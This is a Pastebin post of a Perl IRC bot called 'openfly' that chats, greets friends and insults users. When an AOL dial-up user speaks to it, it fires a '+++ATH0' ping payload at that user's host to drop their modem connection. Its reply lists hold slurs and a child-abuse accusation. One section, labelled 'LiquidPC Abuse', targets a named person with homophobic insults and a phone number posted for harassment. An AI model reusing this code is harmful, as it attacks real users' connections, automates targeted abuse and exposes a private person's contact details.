Peaser

openfly.pl

Mar 25th, 2014
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 8.09 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # - openfly irc bot
  3. # mjoyce@alpha.neuropunks.org
  4.  
  5. $0 = "openfly";
  6. $version = "1.0";
  7. print "\033[31m openfly\033[0m - $version \nopenfly\@alpha.neuropunks.org\n\n";
  8.  
  9. $ARGC=@ARGV;
  10. if ($ARGC <= 0 ) {
  11.     print ":: Syntax: $0 <server> <port> <channel> <nick>\n";
  12.     print ":: Example: perl $0 irc.2600.net 6667 2600 openfly\n";
  13.     exit;
  14. }
  15.  
  16. use Socket;
  17.    
  18. $remote  = $ARGV[0];
  19. $port    = $ARGV[1];
  20. $channel = $ARGV[2];
  21. $nick    = $ARGV[3];
  22.  
  23. print ":: Attempting to connect to - $remote.\n";
  24. $iaddr = inet_aton($remote) or die "Error: $!";
  25. $paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
  26. $proto = getprotobyname('tcp') or die "Error: $!";
  27.  
  28. socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
  29. connect(SOCK, $paddr) or die "Error: $!";
  30.  
  31. print ":: Connected. Authenticating with server.\n";
  32.  
  33. # fork off chatter evalutation process
  34.  
  35. if ($pid = fork) { print ":: IO Agent Launched PID = $pid\n"; }
  36.   else { wangchung(); exit; }
  37.  
  38. @haha = (
  39.   "...",
  40.   "...",
  41.   "?",
  42.   "werd.",
  43.   "brb",
  44.   "roflmao",
  45.   "lol",
  46.   "dude, liquidpc sucks cock",
  47.   "alpha owns me",
  48.   "werd up g-dawg",
  49.   "...",
  50.   "jah?",
  51.   "da da da",
  52.   "perl is evil",
  53.   "i wonder where binary is",
  54.   "why are all the hits to my site either porn or windows worms?",
  55.   "I hate school...",
  56.   "...",
  57.   "?",
  58.   "!",
  59.   "I need a job!",
  60.   "la la la",
  61.   "wheee",
  62.   "2600net sucks",
  63.   "woot!",
  64.   "fuckin a!",
  65.   "Damn it I wish I were a bot...",
  66.   "where did i put those marbles...",
  67.   "computers suck.",
  68.   "life is such a bitch.",
  69.   "so what's up people?",
  70.   "we really should do something for h2k2",
  71.   "bleh",
  72.   "damn it nothing ever works right!",
  73.   "ARGH!!!",
  74.   "god i love bsd",
  75.   "stupid irc skanks!",
  76.   "blargh",
  77.   "moof",
  78.   "one of these days I am gonna code a bot to replace me." );
  79.  
  80.  
  81. $temper = $haha[ rand scalar @haha ];
  82.  
  83. # Random Delay Times
  84.  
  85.  @timer = (
  86.   20, 5, 60, 300, 40, 70, 23, 40, 1000, 40,
  87.   90, 78, 1 );
  88.  
  89.  $times = $timer[ rand scalar @timer ];
  90.  
  91. sleep(1);
  92. $msg = "USER $nick - - $nick\n";
  93. send(SOCK, $msg, 0) or die "Unable to send packet: $!";
  94. sleep(1);
  95. $msg = "NICK $nick\n";
  96. send(SOCK, $msg, 0) or die "Unable to send packet: $!";
  97. sleep(1);
  98. $msg = "JOIN #$channel\n";
  99. send(SOCK, $msg, 0) or die "Unable to send packet: $!";
  100. sleep(1);
  101. while (1) {
  102. $temper = $haha[ rand scalar @haha ];
  103. $msg = "PRIVMSG #$channel :$temper\n";
  104. sleep(5);
  105. for(0 .. $times) {
  106.    $mesg = "JOIN #$nick\n";
  107.    send(SOCK, $mesg, 0) or die "Unable to send packet: $!";
  108.    sleep(30);
  109. }  
  110.  
  111. send(SOCK, $msg, 0) or die "Unable to send packet: $!";
  112. sleep(2);
  113. }
  114. # WANGCHUNG OWNS J00 !!!  
  115. ##############################
  116. # Evaluating Channel Chatter #
  117. ##############################
  118.  
  119. sub wangchung() {
  120.  
  121. $0 = "openfly - IO Agent";
  122. $chan = $channel;
  123. @friends = ( "muska", "psytek", "clorox",
  124.              "binary", "RedHackt", "ezsmoke",
  125.          "setient", "Arsenic", "muaddib",
  126.          "muted", "baset", "vinyl",
  127.          "merlin", "Wolfgame", "WolfGame", "wolfgame",
  128.          "kozik", "vayeate", "RF", "RFmadman",
  129.          "frogman", "godsmoke", "Justin", "khromy",
  130.          "compudroid", "dice", "xeon", "feach",
  131.          "osjedi", "Aevum", "krys", "shardy",
  132.          "PHiZ", "antipent", "evlpeng",
  133.          "warmonger", "oxidation" );
  134.  
  135. while (1) {
  136.    $inny = <SOCK>;
  137.    chomp $inny;
  138.    ($inny0, $inny1, $inny3, $inny4, $inny5) = split(/\x20/, $inny);
  139.  
  140. ###########################
  141. # Speak when Spoken to... #
  142. ###########################
  143.  
  144. # initialize variables
  145. my $done = 0;
  146. # print "CHANNEL :: \033[31m$chan\033[0m\n";
  147. my $ignore = 0;
  148. # nick parse... hell lets do nick host and username!
  149.  ($trall0, $trall1) = split(/:/, $inny0);
  150.  ($person, $hostess) = split(/!/, $trall1);
  151.  ($usernome, $host) = split(/@/, $hostess);
  152.  ($trall2, $trall3, $message, $trall5) = split(/:/, $inny);
  153.  
  154. #####DEBUG SHIZZATT#####
  155. #  print "trall0 :: \033[31m$trall0\033[0m\n";
  156. #  print "trall1 :: \033[31m$trall1\033[0m\n";
  157. #  print "trall2 :: \033[31m$trall2\033[0m\n";
  158. #  print "trall3 :: \033[31m$trall3\033[0m\n";
  159. #  print "message :: \033[31m$trall4\033[0m\n";
  160. #  print "trall5 :: \033[31m$trall5\033[0m\n";
  161.  
  162. # external PRIVMSG
  163. if ($person !~ $nick) {
  164. print "\033[34m<\033[0m$person\033[37m:\033[0m$inny3\033[34m>\033[0m $message\n";
  165. }
  166. # self PRIVMSG Still will be implimented in the functions gimme time
  167.  
  168. # +++ath0 attack schema... aka blackbot function
  169.  
  170. if ($host =~ /dial/) {
  171. }
  172.  
  173. # when directly addressed by a person
  174.  
  175.    if ((($inny =~ /:$nick/i) || ($inny =~ / $nick/i)) && ($inny1 =~ /PRIVMSG/) && ($inny3 !~ $nick)) {
  176.      
  177.      if (($host =~ /ipt.aol.com/) && ($done == 0)) {
  178.         $mesc = "PRIVMSG $inny3 :I don't talk to AOLers. GO GET A FUCKIN SHELL!\n";
  179.         send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  180.         $done = 1;
  181.     for (0 .. 15) {
  182.       system("ping -p 2b2b2b415448300d -c 1 $host > /dev/null &");
  183.     }
  184.      }
  185.    if ($done != 1) {    
  186.      @busi = ( "piss off... I'm busy.",
  187.                "fuck off",
  188.                "stfu $person",
  189.                "don't talk to me $person",
  190.                "go away i am coding",
  191.                "talk to the hand biatch",
  192.                "SHUT UP!!",
  193.                "go fuck a kitten!",
  194.                "Eat shit and die asshole",
  195.                "talk to me in an hour, I gotta go pleasure $person\'s mother",
  196.            "stop talking to me!",
  197.            "you know you're talking to a bot right?",
  198.            "leave me the fuck alone already CHRIST!",
  199.            "ass",
  200.            "hey look $person is amazed by a couple of lines of perl!",
  201.            "don't make me kick yo ass $person",
  202.            "Whatchoo talkin 'bout $person...",
  203.            "uhm yah whatever ever you say faggot",
  204.            "fuckin $person, he never shuts the fuck up",
  205.            "FUCKIN SHUT YER CAKEHOLE!",
  206.            "$person likes to touch little kids in \"bad\" places...",
  207.            "yo don't drop the soap in the channel $person, you got a candy asshole",
  208.            "c'mon go get a fuckin life $person",
  209.            "yo mama's so stupid she brought toilet paper to a craps game!",
  210.            "fuckin amateur." );
  211.      $busy = $busi[ rand scalar @busi ];
  212.      $mesc = "PRIVMSG $inny3 :$busy\n";
  213.      send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  214.      $done = 1;
  215.   }
  216. }
  217.    
  218.    # LiquidPC Abuse  
  219.  
  220.    if ((($inny0 =~ /LiquidPC/i) || ($inny0 =~ /lpc/i)) && ($done != 1)) {
  221.    
  222.       @lqdpc = ( "look there's a Gay in the room, Earl E Gay that is.",
  223.                  "call (910) 253-7418 for a good time... ask for earl",
  224.                  "LiquidPC sucks cock.",
  225.                  "LiquidPC is such a fuckin looser",
  226.                  "Hey LPC....  FUCK YOU!",
  227.                  "LPC is such a fuckin homo.",
  228.                  "Fuck you LiquidPC.",
  229.                  "Earl like a good banana dick up his Ass.",
  230.                  "Someone k-line liquidpc for the love of god.",
  231.                  "EARL IS A FAGGOT!",
  232.                  "earl you fucktard" );
  233.  
  234.        $lpc = $lqdpc[ rand scalar @lqdpc ];
  235.        $mesc = "PRIVMSG $inny3 :$lpc\n";
  236.        send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  237.     }
  238.  
  239.  # Greet @friends with $salutation =P
  240.  $seco = 0;
  241.  for (0 .. 36) {
  242.     if (($inny0 =~ /$friends[$seco]/) && ($inny1 =~ /JOIN/)) {
  243.      
  244.        @salute= ( "werd up", "hey", "hola", "yo", "word up", "werd",
  245.                   "werd up", "look it's", "hello", "bem vindo");
  246.        $salutation = $salute[ rand scalar @salute ];     
  247.        $mesc = "PRIVMSG $inny3 :$salutation $friends[$seco]\n";
  248.        send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  249.     }
  250.     $seco++;
  251.  }  
  252.    
  253.  # If you're not wanted... or are...
  254.  if ($ignore == 0) {
  255.    if (($inny3 =~ $nick) && ($inny4 =~ ":join")) {
  256.      $mesc = "JOIN #$inny5\n";
  257.      send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  258.      $chan = $inny5;
  259.      chomp $chan;
  260.      $ignore = 1;
  261.    }
  262.    if (($inny3 =~ $nick) && ($inny4 =~ ":part")) {
  263.      $mesc = "PART #$inny5\n";
  264.      send(SOCK, $mesc, 0) or warn "Unable to send packet: $!";
  265.      $chan = $nick;
  266.      chomp $chan;
  267.      $ignore = 1;
  268.    }
  269.  }
  270.  else { $ignore = 0; }
  271.  
  272. }
  273.   print "SOCK is dead I am OUTTA HERE!\n\n";
  274. }
  275.  
  276. ############
  277. # END CODE #
  278. ############
Add Comment
Please, Sign In to add comment